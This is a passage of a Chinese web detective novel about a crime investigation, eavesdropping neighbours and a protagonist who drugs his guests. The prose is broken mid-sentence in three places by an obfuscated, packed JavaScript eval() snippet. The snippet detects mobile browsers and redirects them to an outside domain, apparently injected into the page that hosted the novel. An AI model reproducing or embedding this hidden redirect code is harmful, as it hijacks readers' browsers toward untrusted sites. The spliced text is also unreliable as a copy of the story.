“我记得舒久月好像未婚。假如他有一个未被登记在任何官方网站上的私生子，你有没有办法查到？” “没有被登记在册的私生子？这个难度系数有点高啊，我试试吧，一个人存在世上总不可能一点线索都没有的……” 云小五开始在电脑上查找舒久月医保、社保，及一切社会记录的信息矛盾点。 “但是你怎么会想到舒久月有私生子啊？” “你知道西方的「组织家庭系统排列」吗？” “好像听过，又好像没听过。那应该是心理学的内容吧，不是我能涉足到的领域。” “没关系，反正我本来也没指望你知道，只是做个铺垫而已……我们东方也有属于自己的排列方式，而且加上了《黄帝内经》和《易经》的学问，效果神乎其技。” “酒哥你炫技呢，有话不能直说吗？我中文不好，不太会做阅读理解啊，这句话的意思是……” “我给舒久月做过家庭系统排列，她下面的辈分里似乎还有直系亲属。但是因为她本人不愿意配合，所以往下延伸的排列没有办法继续展开。后来又因为她有太多的秘密不想被我知道，所以往上的排列也被迫终止了，具体情况我也不得而知。” “原来你跟死者认识呀……” 云小五的电脑屏幕上滚动着月栀酒看不懂的代码，他觉得无聊，按铃叫服务员来点了两杯被装饰得花里胡哨的西瓜汁。 “刚刚我去了永生市中医院。” “你去找死者老爹了？” “嗯。” “你从他那里探听到什么了吗？” “他让我去一个地方，找一个人。” “找谁啊？” “不重要。” “你不打算去吗？” “不去。” “为什么？如果不去的话，你不就白找他一趟了吗？” “没必要。我要是真的应该见到她，那个人自然而然会出现在我面前的。” “酒哥你终于修炼‘召唤术’了？” “做梦呢你？赶紧查。” “……哦，可是我查下来，这个老爹看上去问题不大呀，跟舒久月的死也没有什么直接关系，你去找他干嘛？” “只能说看起来关系不大，”月栀酒咬着吸管，喝了一口西瓜汁，发现味道和路边摊卖的本质上没有什么不同。“有的人就像从里面坏掉的苹果，非得咬一口才能看出来。他虽然和舒久月的死没有直接关系，但是基本上和跟她有关系的人都有点关系。” 云小五光是听到这句话就开始头晕了，“酒哥，你在说绕口令吗？我怎么有点听不懂啊？” 月栀酒懒得解释，催促云小五，“听不懂算了，让周六大姐跟你解释吧。话说键盘都要被你敲烂了，查出来点线索没有？” “线索不多，好在有点。”云小五调出来一个购买数据给月栀酒看。“我查了舒久月经纪人近十年来的购买记录，发现她购买的有些东西对不上。” 月栀酒凑过去，滑动鼠标滑轮，看到舒久月经纪人曾频繁购买过一家店铺的母婴用品。 “这个经纪人是有孩子的，买母婴用品也不奇怪啊。” “大哥你看清楚，不是购买母婴用品的问题，而是购买时间的问题。经纪人的大女儿今年两岁半，现在肚子里的孩子也才两个月而已，你能不能先看看这些东西最开始的购买时间再发表观点？” “我看看啊，最开始的购买时间是……七年前？” “奇怪吧？七年前舒久月的经纪人甚至连都还没有男朋友，为什么要买母婴用品？这么说来，如果经纪人买的小孩用品是给舒久月私生子的，那这个孩子如今也已经有七岁了。” 月栀酒继续翻看经纪人的购买记录，摇了摇头，“不对。她的经纪人只是在七年前买过半年的母婴用品，之后就没有购买记录了。如果这个孩子活了超过半岁，那剩下的这些时间里，谁给这个孩子买的生活用品？” “有没有一种可能，这个孩子就只活了半岁呢？毕竟他真的一点社会记录都没有，比黑户还黑，死人都没有这么干净。” “不可能，查一下舒久月有没有每个月固定取出来的现金？” “你要干嘛？” “查就完了。” 云小五虽然一脸懵，但也还是把电脑转回到自己面前，开始调查舒久月的银行记录。 “……你别说，还真有欸。舒久月每个月都会固定从某一张副卡上取出1万元现金，去向不详。你怎么知道她每个月都会固定取钱的？这些钱都用到哪里去了？” “应该是舒久月请了一个保姆照顾孩子，每个月会固定用现金给保姆支付工资。” “那你现在是要去找这个私生子吗？” 在云小五问出这个问题的时候，月栀酒又看到西瓜汁上的泡沫排列成了一圈阵法——这便是简易沙盘显像，它正在告诉月栀酒事情的答案。 月栀酒的脸色一瞬间沉重起来，“不行，已经来不及了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357033|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么意思？” “我要回去了。” “不查了？还有很多不知道的呢！要不要我查了发给你？” “你要是有这个闲心的话就随便查一下吧，如果没有就算了。”月栀酒打开了包间的房门，站在门口说：“你好像还没有吃饱吧？还想吃什么自己点，一会儿报我的卡号，他们会自动从卡上扣钱。” “好，我查完了Email给你。” 月栀酒挥挥手就走了。 云小五还不忘在后面喊：“记得帮我约偶像时间哦——” ………… 月栀酒乘坐电梯上楼回家。电梯里除了机械的嗡鸣声之外，寂静得像是受害者濒临死亡终点的序章。 叮—— 电梯到了。 月栀酒走出居中的2号电梯，靠近住户那边的1号电梯也很快到达了14楼。 他经过1号电梯时，电梯门打开，里面走出了一位充满书香气息的高雅女人。 “花教授，您今儿个回来挺早。” “小月老师，你今天终于出门了，我还以为你忙着闭关呢。”花教授也走出电梯。 花教授是永生大学中医系的教授，上学的时候连跳了很多级，现在很年轻，约摸才30岁出头。 在月栀酒和木沐、威妮娃搬过来之前，花教授就已经住在这里快两年了，她正是1402的业主。 月栀酒打趣说：“哟，花教授你又开我玩笑，我哪会什么闭关啊？懒而已……诶，你瞧着不咋开心呀？” “是啊，现在的小年轻人都太逆天了，我教了一个中医世家的小姑娘，她的本事已经快赶上我了，我简直是压力山大……”花教授走到1402门前，“要进来坐坐吗？” “还是不了，上次就是受你邀请去你家，还让你请了我一顿晚餐。这次不如来我家呀，刚还你一顿饭，还可以顺带帮你解决一下你苦恼的的问题，如果有什么你不方便告诉我的事情的话，就当我没说。” 花教授想了想，下定决心一般，“哪有什么不能说的？这不刚好到月底了，有人请吃饭当然是最好的。不过，你月大家的心理治疗向来价钱昂贵，我的工资摆在这儿，还是算了。” “哟，您可真是太抬举我了。”月栀酒笑着回，“教授的工资想来不低，更何况是我邀请的，又怎么能收你诊疗费呢？” 月栀酒打开了1401的房门，再次邀请花教授进去做客，“我刚好得了一些好酒好茶，花教授你也是爱酒爱茶之人，说不定你来了之后，还可以帮我解决一些百思不得其解的问题呢。” 花教授也不再客套，走进了1401。 “看来也是有一些令你苦恼的问题需要我的帮助，我们这也算是互助互惠，那我就不客气了。” 月栀酒一边笑着说“请坐”，一边迅速带上房门，而后露出了一抹比面具还要一成不变的微笑…… 其实从刚刚电梯门打开的一瞬间，纵使是鼻子不太灵光的月栀酒，也闻到了花教授身上那股格外浓烈的甜腻香水味儿。 花教授向来是个“腹有诗书气自华”的文化人，平常只会偶尔使用一些气味寡淡的木质调香水，她今天有点不太正常。 换句话说，这几天在他身边出现的人都太过诡异了。舒久月、舒稳山、木沐、威妮娃、云小五、花教授……或者干脆连高琴背后都有无数势力盘根错节，他也不能算是一个普通的正常人。 16. 奇门凶杀案 —————— 高琴画了整整一面白板的嫌疑人物关系，也差不多算是理清了这些嫌疑人和死者之间的爱恨情仇。 张小元赶回来的时候，高琴和他的盒饭还摆在桌子上没吃，旁边的李晓音已经捧着盒饭快吃完了。 李晓音催促说：“回来了？快吃饭、快吃饭，高队你也先吃完了饭再捋吧，不然一会儿菜都该凉了……” 高琴站在办公桌前，用盖上笔盖的白板笔抵着胡茬思考——目前嫌疑很大的还有舒久月的父亲舒远山和舒久月的经纪人。 张小元把上面的那份盒饭顺手递给高琴，自己坐到旁边的旋转椅上。 高琴脑子里想着事情，双手和嘴开启了自动挡，根本意识不到自己是在吃饭，只是机械性地夹菜和咀嚼，不知不觉就把饭给吃完了。 还没等他决定好要先去找谁，值班警员就给他送来了一条不可思议的消息。 “高队，草街东路万花小区有人报案，报案人声称他怀疑自家楼上出现了尸体。” 高琴一直在思考问题，一时没反应得过来，“好，那你安排人去……等下，你说什么？” 警员就刚刚的话又重复了一遍：“有人怀疑自家楼上出现了尸体。” 高琴气值班警员不能一句话说清楚，只能接着问：“他还说了什么？” “报案人说他闻到了尸臭，去敲楼上的门也没有人来应答，听说楼上偶尔会传来小孩子的声音，但是这几天没有了，他们一家都以为是闹鬼，所以他老婆就让他来报案了。” 高琴嘶了一声，跟李晓音和张小元说：“这种时候发现尸体，总会让我觉得跟舒久月的死有关……走吧，我们一起去看看。” ………… 报案人给的地点是万花小区B3栋二单元402，但是他本人还有工作，没有跟来现场。 高琴等一众警员到达402号房门前时，立刻就闻到了一阵扑面袭来的恶臭。他们当中有很多都见过腐烂的尸体，很容易分辨出这的确就是尸臭。 高队长先是敲了几次门，在确定门内没有任何活人之后，直接选择了破门而入。 首先映入眼帘的，是一个采光和通风都很差的客厅和卫生间，其次他们的鼻腔就被一阵因为房门阻挡而发酵得格外浓郁腐烂气息所侵略。 像高琴这样经验丰富的老警员还好说，和李晓音年龄相仿的年轻警员个个都眉头紧蹙，强忍胃酸倒灌的生理反应，闭眼适应了一段时间才能勉强站稳。 李晓音放眼一望就发现这是一个可称之为狭窄的通间。床、桌椅板凳、饮水机、台灯等一众物品摆放进来，三个人在内行走两步就会开始显得拥挤。而且这些东西基本上都是新的，但是落了很多灰尘，颜色也已有些泛黄，很明显是买回来就没用过几次的废物家具。 抛开吊灯开关、沙发、门把手等常用位置被磨到毫无灰尘的痕迹，这个地方看起来就像从来没有人居住过一样。 “这个房间一眼就能望到头，没有地方可以藏尸呀，高队。”李晓音对高琴说。 高琴先是让人采集指纹，然后走到住户门正对面的墙壁面前，弯起三指敲了敲墙面。 他记得在楼下抬头向上看的时候，单元楼这一面的房间都是有窗户的，而横亘他在面前的却是一面墙——这也就是说，从墙壁到窗户的这一片空间，很有可能被隔出来了一间密室。 他吩咐李晓音：“你去楼上或者楼下看看这一列房型的样子，然后再回来对比一下。” 李晓音回答“好”，跑出了402。 高琴敲击了这面墙的几处地方，发现这面墙居然不像传统隔断一样使用木板，而是通体用砖块水泥这一类更为坚固的材料砌成。 他喊了在场的警员一起帮忙寻找，始终都无法找到这个“隔间”的暗门或是机关。 李晓音也去楼上看完了原版户型，回来告诉高琴这里应该有一个20平米左右的空间，这套户型最大的窗子也就在这块空间里。 “高队，这里真的是被焊死了，没有门。”张小元在周围寻找了好几圈，确定这就是一面普通的墙之后，过来跟高琴汇报。 另外负责不同任务的警员也跟着说：“高队，这间房子里同样没有找到指纹皮屑。” “一个人的都没有吗？”高琴问。 “对。”那个警员回答。 高琴能闻到，尸臭就源于这面墙壁后面那20平米的空间，只是这面墙壁像是被砌出来了很多年，凶手是如何将尸体放进去的呢？ “有没有强光手电筒？给我一个。” 拎着工具箱的警员拿了个强光手电筒给高琴，高琴立刻就打开了手电筒，照着这面墙壁。 之前因为光线太暗的缘故，高琴没有看见墙壁上一块边长十七八公分左右的正方形墙面和其他部分的墙面略有颜色上的不同。 高琴又重新敲了敲这块墙壁，乍一听上去和旁边的墙壁没有不同，但是仔细区分下来还是能听出细微的区别。 “晓音，打电话去局里找会辨别墙壁材料的人过来，辨别完成之后把这面墙给拆了，我们要尽快开始对尸体的调查。” “好的，我知道了。” ………… 技术人员很快就拿着装备赶到了现场。 他对着墙壁研究了几分钟，下了定义：“没错，这块墙的水泥是近期新抹上的，虽然砖块和其余墙壁用的是相似的材质，但是腐坏程度不同。把墙封起来的人做了去味，可是还是有一些气味残留，估计封墙的时间不会超过一个星期。新填补的部分是一个长宽均20厘米的正方形孔洞，没有什么奇怪的，如果高队长想保留这块材料的话，可以从其他地方开始破墙，反正工程量都差不多，这里也不是破墙的第一优选位置。” 高琴听专业人士的话，吩咐人从旁边破墙。 李晓音这个时候又接到了一通电话，她和电话那边的人简单说了几句，面上浮现出一种苦恼的神色。 她挂断电话，走到高琴身边，“高队，周法医她来不了了。” 高琴知道周法医今天休假，但是这段时间局里只有一个法医，就算她再不愿意也还是得让她出面才行。 “周六怎么了？这种时候她就算是生病了也还是得来一下，不然我们就没有人可以用了。” 李晓音把手机放进口袋里，“好像是说周法医最近失恋了，心情不好，出门时一脚踩空了楼梯，直接摔成了脑震荡，楼下邻居帮忙打120送医院了。” “她这一摔，我们局的调查工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357034|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作就有点困难了……别的局就没有可以补派过来的法医吗？” “高队你又不是不知道，咱们市有四分之一的法医都被安排出省集体学习了，边境雨林的枪击案不是结束了嘛，那边又来借走了一波法医。现在最近一个有经验和技术能处理这起案件的法医过来还有50分钟，不过我们已经通知到了，把墙破开之后，应该也不用等太久他就能到。” 高琴和李晓音站在门口，里面的技术人员已经开始破墙了。他突然想到，月栀酒好像说过他的有一个邻居是教授，还曾兼职过法医一段时间，勉强算是经验丰富，说不定可以把她请过来帮忙。 于是，高琴拨打了月栀酒的电话。 —————— 另一边。 花教授进了1401，换了鞋就往茶桌那边走去，还没坐下就对月栀酒说：“要不你先说说你有什么需要我帮助的吧，如果我帮不上忙，也就不拿你的人情了。” 月栀酒打开茶柜，拿出一盒包装崭新的普洱生茶，打开后用茶针撬下一块放进茶壶里，启动了茶台上的自动烧水装置。 他微笑着说：“都是朋友，别算这么清楚嘛。真要谈人情，我就不请你来做客了……像我这种闲人散户能有什么要紧事？只不过一会可能会有一个朋友需要你的一点点小帮助，当然帮不帮他也都是你说了算……来说说你吧，你全是因为那个逆天的学生才不高兴的？” 花教授叹了口气，眼神先是很谨慎地绕开了月栀酒的眼睛，然后移动到自己握着空茶杯的左手上。 “也不全是吧。” 月栀酒看出来花教授在说谎，但是并不着急拆穿，用第一泡茶水烫洗了茶具，给她倒了三分之二杯茶水，静静听着她编。 “这几天有一个小男生天天围着我转。要知道在害怕绯闻的方面，我们做老师的一点都不比明星弱。” 这一句是真话。 “果不其然，他昨天下午跟我表白了。还好当时办公室里只有我们两个人，没有人可以作证。可还是把我吓了个半死，现在都还心有余悸。我当即就委婉地拒绝他了，因为我不敢严词拒绝啊，生怕他去天台站一会儿，再说一些欲盖弥彰的话，把我饭碗给敲掉。” “然后呢？他回去了吗？” 花教授喝掉了茶杯里的茶，月栀酒又拿起公道杯里给她添上。 “没有啊，他还是赖着不走，硬是要我仔细想想。” “那这个人还是挺轴的，你又是一个年轻貌美的花教授，恐怕是不太好应对吧？” “可不嘛，愁死我了……然后我问他喜欢我什么，你猜他怎么说？” 花教授看着月栀酒，表情不像是分享，反而像是幼师想把一个知识点用故事的形式灌进小孩脑子里时的样子。 月栀酒可太喜欢装傻了，他假装思索了片刻，顺着花教授的话说道：“该不会是说……你身上那股清心寡欲像是要出家的淡香水味儿吧？” 花教授脸上一闪而过的表情是满意，随后又覆盖上了憋闷，“还真有这条……他最开始是说喜欢我的才华，但是我总不能把我的才华改掉，那样我就当不了教授了。后来他又说我不像别的女老师，既年轻又不花哨，不会化浓妆，也不会喷味道浓郁的香水，觉得我很与众不同。” 17. 奇门凶杀案 “这样的话，你为什么光喷香水，不画浓妆呢？” 月栀酒提醒花教授话语中的漏洞，而后者只以为月栀酒是在单纯地发问，爽朗地笑了几声。 “哈哈，因为我根本就没有颜色颜色鲜艳的化妆品，也根本就不会画啊。我真的害怕我画劈了，吓到我的学生，让他们觉得自己的科任教授变成了一个审美非主流的‘妖怪’。” “那你有没有问别的教授取经？” 花教授左手的五指一直交错地捏着茶杯，“这个还真是不敢。因为我看起来比较显小嘛，她们的年纪普遍又要比我大很多，总是会把我认成学生，跟我说话的时候眼神都是怪怪的。” “这还真不夸张，你看起来还没我大，我第一次见你的时候，真的以为你是个大学生。” “跟你比就没有必要了，混血的男人看起来总是比较成熟的。” 花教授开了一个玩笑，月栀酒也跟着笑。他抓蓬松了自己深棕色的卷发，心想自己只是四分之一混血而已，已经串得很不明显了。 “不过我下个月就满30岁了，好像也没有太年轻哈？” “哈哈，千万不要这样想，40岁以下的都是年轻人，40岁以上都是成熟稳重的成功人士。” “你安慰人总是很有一套啊，小月老师……因为我还是跟学生的年纪比较接近，所以我就去问了几个学生化妆的技巧……但还是没有学会，可能这本来就不是可以速成的东西吧。” “所以你就遇到了那个逆天的学生？” 花教授提到这里一个劲儿地扶额，光是看上去就已经很头疼了。 “对，那个姑娘今年刚上大一，但她是中医世家的传人，父母因为一起意外早亡，她好像留下了很严重的心结，整个人的性格很古怪，但是成绩超级好。” 月栀酒入住前就调查过所有邻居的底细，知道花教授的父母正是死于一场意外。 “听起来倒是跟你很像。” 花教授初听到时顿感惊讶，但是片刻后又转回理解的表情。看来她也大概知道，月栀酒是一个有点手段和资源的富二代，可惜她不知道月栀酒真正的底牌。 “我父母确实不幸，但我可不是中医世家的传人……我现在总算是知道从小培养的重要性了。不过还好，我连谈恋爱是什么滋味都不知道，更没有打算过要孩子。” “这么多年都没有谈过恋爱啊？为什么呢？” “因为……自视过高吧。” 花教授似乎有心事，月栀酒也就没有再继续追问，转换了话题。 “我看你一进来就直接往茶桌这边走了，可我明明说了我茶和酒都有。怎么，不打算喝酒……是因为下午还有课吗？” 花教授的反应很夸张，像是做着梦突然回到现实那一瞬间的抽搐。 “哦那倒不是，我昨天因为表白的事情一晚上没睡好，今天就不太有喝酒的兴趣。” 月栀酒微笑着点点头，说了一句：“太可惜了，等你状态好点的时候，欢迎随时到我家来喝酒。” 花教授同样笑着回：“好呀！” 她不知道，月栀酒的原话其实是“我还以为你是怕酒后失言，所以才不敢跟我喝酒”，但是月栀酒还是忍住了，没有说出口。 这时，月栀酒的电话突然振动起来——是高队长打来的电话。 月栀酒接通电话后，直接按下了免提键，“高队长，在下月某人，请问您老人家有何贵干啊？” “——你在哪呢？” “在家呀……怎么，高队长有兴趣来家里喝茶吗？不过我家里有女士，你要是有什么悄悄话的话，估计得另找时间讲咯。” “——你大学的时候不是经常去跑听医学院的课吗？我们发现了一具尸体，但是周六失恋了不会走路，把自己摔成脑震荡了。如果你不打算过来帮忙的话，帮我问问你邻居的那位花教授愿不愿意过来帮忙？她好像兼职过法医，我们刚好需要这样的人才。” “这个嘛……在我家里的这位女士恰好就是花教授本尊。可以直接说话的时候，我还是建议您不要玩传声筒的游戏了，错字漏词儿的概率相当高……要不然，高队长您亲自问问人家的意见呢？” 月栀酒意有所指地看了眼花教授，不由分说就把手机推到了她面前。 花教授看起来像是一会儿还有事要出去的样子，但她还是在转了半圈眼珠后拿过手机，用很有礼貌而不失分寸口气跟高琴打了招呼。 “您好啊，高队长。” “——你好你好，你是花教授是吧？” “是的。我今天下半天都没什么要紧事，如果您那边有什么我可以帮上忙的地方，可以跟我说，我能帮都会帮的。” “——这样就太好了。我把地址发给月栀酒，你们没事的话就一起来吧。” 听到这里，月栀酒直接打断了高琴话语里带有“强制到场”色彩的邀请。 “高队长，不瞒你说，我从小有一个坏毛病，就是我只要去了阴宅，就会连续一个月做噩梦，然后食欲不振、神经衰弱，最后沦落到被抬进ICU的地步。所以对于你诚挚的邀请，我只能遗憾地拒绝了，不过我会把地址发给花教授的，至于她愿不愿意去，或者想中途撤离，都请你尊重人家的意愿，毕竟这关系到我出门在外的名声。” 花教授发现月栀酒这种“赖皮拒绝法”竟然出奇的有用，早知道她也用类似的借口了，可是眼下她已经答应了高琴，临时反悔的话只会显得更加可疑。 “——你不来是又憋着什么坏水呢？合着舒久月那个案发现场不算凶宅呗？” “开什么玩笑，当然算了，我就是因为被那个案发现场给吓傻了，现在头晕目眩、站都站不稳。高队长你当了四十多年的大好人，就当是发发善心，不要让我这个胆小鬼的噩梦超级加倍了好不好？” “——好吧，反正我的邀请函名单上本来就没有你的名字。” “对了，你发现的是个什么样子的尸体？男的女的？年龄估算是多大？还有你那边为什么会有这么吵的装修声啊？” “——不太好说。我们这边的情况有点复杂，尸体被封存起来了，我到现在都还没有看到尸体呢。” “好，我知道了。”月栀酒看着花教授问：“教授还有什么想问的吗？” 花教授摇头说没有。 “就到这里吧，拜拜了高队长。”月栀酒率先挂断了电话，转头对花教授说：“如果你还有事的话就不用理他了，高队长向来这么霸道的，你要是不严辞拒绝，他就一定会蹬鼻子上脸。” 花教授抿了一口已经凉下来的茶水，用于滋润略微有些发干的嘴唇。 “不对……”她突然反应过来，“难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357035|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道不是你把我忽悠上贼船，然后扭头就走的吗？哈，你小子够贼的啊！” “花教授，天地良心，我全程都是站在你这边的……”月栀酒把地址发给了花教授，心不在焉地跟她开玩笑，“所以你今天下午到底有没有事儿啊？如果没事儿的话，我让司机送你过去呀！” 花教授思考完利弊得失，佯装轻松地回：“没事，我还能开车，自己过去就好了。” 月栀酒走过去打开了1401的房门，“好，那我就不留你了，花教授再见～” ………… 花教授出门，回屋放了电脑就按楼梯下去开车了。 电梯显示器降到负一楼时，14楼楼道里面朝1401的隐藏式迷你监控转了一下。 —————— “花教授应该已经出发了。”木沐坐在台式电脑前，一边吃爆米花一边说。 电脑屏幕上显示着楼道里的状况，桌子上的三个手机分别传出三个安装在不同位置窃听器里的声音。 威妮娃敷着面膜，正躺在沙发上看书，只斜眼瞟了眼电脑屏幕，“人家窃听了你一回，你就要把人家360度全方位无死角监视起来。怎么，莫非是临近你老师要来家访的前夕，你心情烦闷、无处泄火吗？” “说什么呢？你木沐小爷我是那种小心眼的人吗？我是应咱们那位女王的要求啦！她让我盯着酒哥，说时间差不多了，酒哥这几天就可能回去。” 威妮娃放倒了书，坐起身子来，“这么快啊……和这几天发生的案子有关系吗？” 木沐摊手，“不知道。她做决定的方式应该和酒哥差不多，未必会用看得见的路子吧。反正我是不敢问，要不你去问问？” “别把事情扔给我，那是你的任务。不过你这么关注1402的那位干什么？她和我们又没什么关系。” “怎么会没有关系呢？”木沐回头，用比他年龄大很多岁的目光正面看着威妮娃，语气里亦有深意，“她要去找「小老鼠」呀。” 威妮娃啪地一下把书合上了，把脚放下沙发，伸进拖鞋里，“你是说那个「新的小老鼠」？他居然就在我们身边吗？” “没错，你刚刚去洗澡的时候，漓儿姐打电话过来跟我说的。” “看来是我落伍了。”威妮娃一把扯掉了面膜，探讨物理学的专业书就被随手扔在沙发上，“我洗洗就先睡了，你合适着点，要是被发现了可不是好玩的。” “知道了。”木沐不耐烦地应道，嘴里还念叨着：“能不能别老像个小大人似的，你是不是真的忘了自己几岁了……” “我本来就是一个变不小也长不大的人呐，咱俩都一样，你也没有好到哪里去不是吗？” 威妮娃刚走进卫生间准备洗脸，他们的门铃就响了。 木沐在监视屏幕上看到来人是月栀酒后，被爆米花呛了个猝不及防，连忙把手机电脑上的界面都切换成别的东西了，手忙脚乱地像是做作业玩手机被家长发现的小学生。 “酒、酒哥，你咋过来探班，啊不是、串门啊……那个威妮娃在洗脸，你要不要进来坐坐？”他撑在门框上。 月栀酒眨眨眼睛，伸头往里探了探，微微笑着说：“你看起来有点紧张啊，是在看什么不该看的东西吗？” 木沐一瞬间汗流浃背。 真的被月栀酒发现了吗？ 18. 奇门凶杀案 月栀酒晃晃手机，朝房间里面喊，意有所指，“我点了披萨，一个人吃不完，你们过来帮我分担一下吧。” 木沐不知道月栀酒上一句话是开玩笑，还是指桑骂槐的警醒。心虚之下，他因理亏而很干脆地答应下了月栀酒的邀请。 “好好好，酒哥，我们马上就过去。” “那我就先过去等你们咯。” 月栀酒回到1401后也并不关门，但是木沐这边1403的房门却被他相当急切地拉上了。 威妮娃洗完脸后云淡风轻地走出来，劈头盖脸就甩了木沐一个白眼，冷冷问他：“我什么时候答应了？你倒是惯会替别人做决定的。” 木沐急得跳脚，“不是，有没有听见酒哥第一句说了什么吗？他连招呼都没有跟我打，直接就问我们是不是在看……” “我听到了，可是你到底在着急些什么？”威妮娃随手拿了桌子上的一双耳环戴上，“他只是跟你开了一个玩笑而已。” “如果不是呢？” “不是也只能是。” 威妮娃一边说着，一边又戴上了手环、项链、发卡等功能不同，但是看上去又毫无攻击性的装备。 “你心虚，是因为你做了一些他不知道的事情，隐瞒了一些他不知情的东西。但是这些东西本来就都是可以告诉他的，只是他没有问而已。说白了，你连心虚的原因都不成立，自己瞎紧张什么？还不如想想怎么应付你老师来家访呢。” “拜托，你在幸灾乐祸个什么劲儿啊？” “我过去了，你来不来？不来的话，我可把你那份给吃掉咯！” “别，我来啦！”木沐顾不上和威妮娃争辩，也追了出去。 ………… 1401里。 外卖小哥已经把披萨和配餐给送到了，月之酒把这些食物拿出来，在餐桌上简单分成三等份。 “酒哥，我们来啦！”木沐一进门就喊。“真是不好意思，又来你这里蹭饭了。” “哪里哪里，快坐……我本来是要请别人吃饭的，结果人家有事情先走了。这么多东西，我也吃不完，就只好请你们来帮忙了。” 木沐径直往房里冲，威妮娃又折回去拉上门，顺带在屋外的门把手内侧贴上了一个迷你感应装置。 她走到餐桌旁，看见桌上摆着的三瓶可乐，没忍住拆穿了月栀酒。 “我说栀子花哥哥，你请一个人吃饭，用得着点三瓶可乐吗？” “哎呀，被你发现了。哈哈，‘栀子花哥哥’……这是一个可爱的称呼，我喜欢，批准你以后都可以这么喊我……不过嘛，威妮娃同学，我什么时候说过我只请一个人吃饭的？” “啊，你刚刚不是……” 威妮娃把回忆的纪录片往前调。 对啊，月栀酒说的是“我要请别人吃饭”，而不是我要请“另外一个人吃饭”，按理说威妮娃是不应该猜测他会请一个人吃饭的……除非，她看到了花教授进入1401。可威妮娃全程都没有露面，谁也不会无聊到天天盯着猫眼看，这个小区的隔音又做得很好，她是没有可能知道的。 木沐紧张地来回看月栀酒和威妮娃。 威妮娃意识到说漏了嘴，但是现在也已经来不及反悔了，只能想想能不能说点什么圆回来。 就说是她理解错了？不行，好像有点说不过去…… 月栀酒的本意也不是想揪他们的小辫子，以至于他在威妮娃还没有想到狡辩的诡话之前，就自发地帮她圆了回去。 “诶，我好像是说了的，可能是我记岔了，最近记性不太好……你们先吃，我洗个手……” 在月栀酒去洗手的时候，木沐和威妮娃坐下来耳语。 “我们是不是做贼心虚的感觉太重了？”木沐撕开吸管包装纸，把吸管放进可乐里喝了一口，“我就说不是我无病呻吟吧？就酒哥这架势，换你你也顶不住。” “我突然觉得你说的有点道理，所以我决定转做后勤，让能降他的那个人来处理。”威妮娃也像想通一样，拿起了她面前的可乐，抿了一小口。 “你这也太没有原则了，之前不是说好两不相帮的吗？” “谁跟你说好了？在我这里，向来都是漓儿姐姐的优先等级最高……” 说到这里，威妮娃的耳环突然弱弱地叫了一声，她伸手摸了一下耳环，对木沐说：“是信号屏蔽装置。” 木沐这时才反应过来，月栀酒是打着洗手的名号去开了信号屏蔽装置。 他小声问威妮娃：“他为什么要这么做？” “你问他呀，我怎么知道？”威妮娃反问，很是无语。 月栀酒甩着手上的水走出来，对他们的窃窃私语视若无睹，招呼他们：“你们怎么还不吃啊？我本来还想问问你们味道怎么样的，结果你们一点面子都不给我，我就只有自己尝尝了……” 威妮娃没料他，直接开门见山地问：“栀子花哥哥，你这屋的信号好像不太好啊。” 月栀酒坐下来，打开披萨盒，给威妮娃、木沐和自己一人拿了一块披萨，用极其家常便饭的语气，很轻松地接上了话，“哦，你说这个啊？你们也知道的，昨天我一个不小心就闯了案发现场，还去医院看了个重病患者……我发现我最近老是被这些阳气不足的地方吸引，这说明我这几天的磁场有点问题，所以我就打算闭关了。既然是闭关，那么不管是能看见的，还是不能看见的，这些乱七八糟会影响磁场的东西当然通通都不能有。” “噢？那我岂不是这几天都不能来找你玩了？” 威妮娃在装乖，她像个洋娃娃一样的脸也确实容易让别人相信。 月栀酒也习惯性逗她，“你之前来找我玩过吗？” 威妮娃丢给月栀酒一个“我都没有拆穿你，你就不要下我的脸面了吧”的表情，同样用开玩笑带威胁的语气说：“我这不是以为你一直还没出关呢嘛。” 月栀酒笑意浅薄地说披萨快凉了，这种东西还是趁热的最好吃，于是三人都低头吃起来。 木沐觉得现在的氛围有点尴尬，自动充当起了暖场者，没话找话地强行撬开话匣子，“酒哥，现在才不到五点，你怎么这么早就点餐了？没吃午饭吗？” “不，我吃过了，这是专门为你们点的。”月栀酒微笑的唇角很有隐藏某种东西的意味。 也似乎是为了印证他的这句话，木沐的手指杵上了额头，手肘搭在桌面，表情昏昏欲睡的样子。威妮娃也很快发现了不对，想站起来，但双腿却不受控制地拉她坐了回去。 “是披萨？”她睁大了眼睛质问月栀酒，原话是：你在披萨里放药了？ 月栀酒拿起自己至始至终都没有碰过的可乐，在威妮娃恍然大悟的瞬间，他用哄孩子睡觉的柔声细语说：“猜错了哟，威妮娃同学～” 他话落声灭，木沐和威妮娃双双倒在了桌面上。 1401里聚 